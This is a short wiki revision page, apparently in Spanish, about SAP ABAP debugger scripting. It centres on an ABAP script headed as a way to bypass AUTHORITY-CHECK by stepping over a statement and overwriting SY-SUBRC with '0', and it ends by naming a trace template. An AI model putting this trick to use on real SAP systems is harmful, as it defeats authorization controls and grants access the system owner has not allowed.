Difference between revisions of "SAP ABAP DEBUGGER SCRIPTING"

From SapWiki
Line 1: Line 1:
 
==Bypasear los AUTHORITY-CHECK==
 
==Bypasear los AUTHORITY-CHECK==
<youtube>SFKOpgNoDrU</youtube>
 
  
 
   <nowiki>METHOD script.
 
   <nowiki>METHOD script.

Revision as of 11:38, 27 August 2020

Bypasear los AUTHORITY-CHECK

 METHOD script.

*** insert your script code here
    TRY.
      debugger_controller->debug_step(
      p_command = cl_tpda_script_debugger_ctrl=>debug_step_over ).

      cl_tpda_script_data_descr=>change_value(
      p_new_value = '0'
      p_varname = 'SY-SUBRC' ).
    CATCH CX_TPDA_VARNAME .
    CATCH CX_TPDA_SCR_AUTH .
    ENDTRY.

  ENDMETHOD.                    "script

Trazar todas las líneas de programa

Template: RSTPDA_SCRIPT_STATEMENT_TRACE